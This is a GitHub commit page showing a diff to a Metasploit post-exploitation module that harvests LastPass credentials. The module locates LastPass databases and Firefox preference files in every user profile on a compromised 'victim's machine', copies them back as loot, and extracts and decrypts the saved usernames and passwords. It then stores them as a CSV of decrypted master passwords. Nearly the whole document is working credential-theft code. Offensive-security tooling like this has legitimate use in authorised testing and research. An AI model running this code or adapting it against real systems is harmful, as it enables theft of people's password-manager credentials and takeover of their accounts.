Skip to content

Commit a7dc0b9

Browse files
committed
Merge pull request #3 from jhart-r7/landing-4004-jhart
Final cleanup of LastPass module -- track account, more *print_ cleaning
2 parents 09faf25 + 88c1647 commit a7dc0b9

File tree

1 file changed

+77
-65
lines changed

1 file changed

+77
-65
lines changed

modules/post/multi/gather/lastpass_creds.rb

Lines changed: 77 additions & 65 deletions
Original file line numberDiff line numberDiff line change
@@ -34,87 +34,94 @@ def run
3434
return
3535
end
3636

37-
print_status "Searching for LastPass databases..."
37+
print_status "Searching for LastPass databases"
3838

39-
db_map = database_paths # Find databases and get the remote paths
40-
if db_map.empty?
39+
account_map = build_account_map
40+
if account_map.empty?
4141
print_status "No databases found"
4242
return
4343
end
4444

45-
print_status "Extracting credentials from #{db_map.size} LastPass databases"
45+
print_status "Extracting credentials from #{account_map.size} LastPass databases"
4646

4747
# an array of [user, encrypted password, browser]
4848
credentials = [] # All credentials to be decrypted
49-
db_map.each_pair do |browser, paths|
50-
if browser == 'Firefox'
51-
paths.each do |path|
52-
data = read_file(path)
53-
loot_path = store_loot(
54-
'firefox.preferences',
55-
'text/javascript',
56-
session,
57-
data,
58-
nil,
59-
"Firefox preferences file #{path}"
60-
)
61-
62-
# Extract usernames and passwords from preference file
63-
firefox_credentials(loot_path).each do |creds|
64-
credentials << [URI.unescape(creds[0]), URI.unescape(creds[1]), browser]
49+
account_map.each_pair do |account, browser_map|
50+
browser_map.each_pair do |browser, paths|
51+
if browser == 'Firefox'
52+
paths.each do |path|
53+
data = read_file(path)
54+
loot_path = store_loot(
55+
'firefox.preferences',
56+
'text/javascript',
57+
session,
58+
data,
59+
nil,
60+
"Firefox preferences file #{path}"
61+
)
62+
63+
# Extract usernames and passwords from preference file
64+
firefox_credentials(loot_path).each do |creds|
65+
credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
66+
end
67+
end
68+
else # Chrome, Safari and Opera
69+
paths.each do |path|
70+
data = read_file(path)
71+
loot_path = store_loot(
72+
"#{browser.downcase}.lastpass.database",
73+
'application/x-sqlite3',
74+
session,
75+
data,
76+
nil,
77+
"#{account}'s #{browser} LastPass database #{path}"
78+
)
79+
80+
# Parsing/Querying the DB
81+
db = SQLite3::Database.new(loot_path)
82+
lastpass_user, lastpass_pass = db.execute(
83+
"SELECT username, password FROM LastPassSavedLogins2 " \
84+
"WHERE username IS NOT NULL AND username != '' " \
85+
"AND password IS NOT NULL AND password != '';"
86+
).flatten
87+
if lastpass_user && lastpass_pass
88+
credentials << [account, browser, lastpass_user, lastpass_pass]
89+
end
6590
end
66-
end
67-
else # Chrome, Safari and Opera
68-
paths.each do |path|
69-
data = read_file(path)
70-
loot_path = store_loot(
71-
"#{browser.downcase}.lastpass.database",
72-
'application/x-sqlite3',
73-
session,
74-
data,
75-
nil,
76-
"#{browser} LastPass database #{path}"
77-
)
78-
79-
# Parsing/Querying the DB
80-
db = SQLite3::Database.new(loot_path)
81-
user, pass = db.execute(
82-
"SELECT username, password FROM LastPassSavedLogins2 " \
83-
"WHERE username IS NOT NULL AND username != '' " \
84-
"AND password IS NOT NULL AND password != '';"
85-
).flatten
86-
credentials << [user, pass, browser] if user && pass
8791
end
8892
end
8993
end
9094

9195
credentials_table = Rex::Ui::Text::Table.new(
9296
'Header' => "LastPass credentials",
9397
'Indent' => 1,
94-
'Columns' => %w(Username Password Browser)
98+
'Columns' => %w(Account Browser LastPass_Username LastPass_Password)
9599
)
96100
# Parse and decrypt credentials
97101
credentials.each do |row| # Decrypt passwords
98-
user, enc_pass, browser = row
99-
vprint_status "Decrypting password for user #{user} from #{browser}..."
102+
account, browser, user, enc_pass = row
103+
vprint_status "Decrypting password for #{account}'s #{user} from #{browser}"
100104
password = clear_text_password(user, enc_pass)
101-
credentials_table << [user, password, browser]
105+
credentials_table << [account, browser, user, password]
106+
end
107+
unless credentials.empty?
108+
print_good credentials_table.to_s
109+
path = store_loot(
110+
"lastpass.creds",
111+
"text/csv",
112+
session,
113+
credentials_table.to_csv,
114+
nil,
115+
"Decrypted LastPass Master Passwords"
116+
)
102117
end
103-
print_good credentials_table.to_s unless credentials.empty?
104118
end
105119

106-
# Finds the databases in the victim's machine
107-
def database_paths
120+
# Returns a mapping of { Account => { Browser => paths } }
121+
def build_account_map
108122
platform = session.platform
109123
profiles = user_profiles
110-
found_dbs_map = {
111-
'Chrome' => [],
112-
'Firefox' => [],
113-
'Opera' => [],
114-
'Safari' => []
115-
}
116-
117-
browser_path_map = {}
124+
found_dbs_map = {}
118125

119126
if datastore['VERBOSE']
120127
vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
@@ -123,7 +130,9 @@ def database_paths
123130
end
124131

125132
profiles.each do |user_profile|
126-
username = user_profile['UserName']
133+
account = user_profile['UserName']
134+
browser_path_map = {}
135+
127136
case platform
128137
when /win/
129138
browser_path_map = {
@@ -145,30 +154,33 @@ def database_paths
145154
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
146155
}
147156
else
148-
print_error "platform not recognized: #{platform}"
157+
print_error "Platform not recognized: #{platform}"
149158
end
150159

160+
found_dbs_map[account] = {}
151161
browser_path_map.each_pair do |browser, path|
152-
found_dbs_map[browser] |= find_db_paths(path, browser, username)
162+
db_paths = find_db_paths(path, browser, account)
163+
found_dbs_map[account][browser] = db_paths unless db_paths.empty?
153164
end
154165
end
155166

156-
found_dbs_map.delete_if { |browser, paths| paths.empty? }
167+
#found_dbs_map.delete_if { |account, browser_map paths.empty? }
168+
found_dbs_map
157169
end
158170

159171
# Returns a list of DB paths found in the victims' machine
160-
def find_db_paths(path, browser, username)
172+
def find_db_paths(path, browser, account)
161173
paths = []
162174

163-
vprint_status "Checking #{username}'s #{browser}..."
175+
vprint_status "Checking #{account}'s #{browser}"
164176
if browser == "Firefox" # Special case for Firefox
165177
profiles = firefox_profile_files(path, browser)
166178
paths |= profiles
167179
else
168-
paths |= file_paths(path, browser, username)
180+
paths |= file_paths(path, browser, account)
169181
end
170182

171-
vprint_good "Found #{paths.size} #{browser} databases for #{username}"
183+
vprint_good "Found #{paths.size} #{browser} databases for #{account}"
172184
paths
173185
end
174186

@@ -205,7 +217,7 @@ def user_profiles
205217
end
206218

207219
# Extracts the databases paths from the given folder ignoring . and ..
208-
def file_paths(path, browser, username)
220+
def file_paths(path, browser, account)
209221
found_dbs_paths = []
210222

211223
if directory?(path)

0 commit comments

Comments
 (0)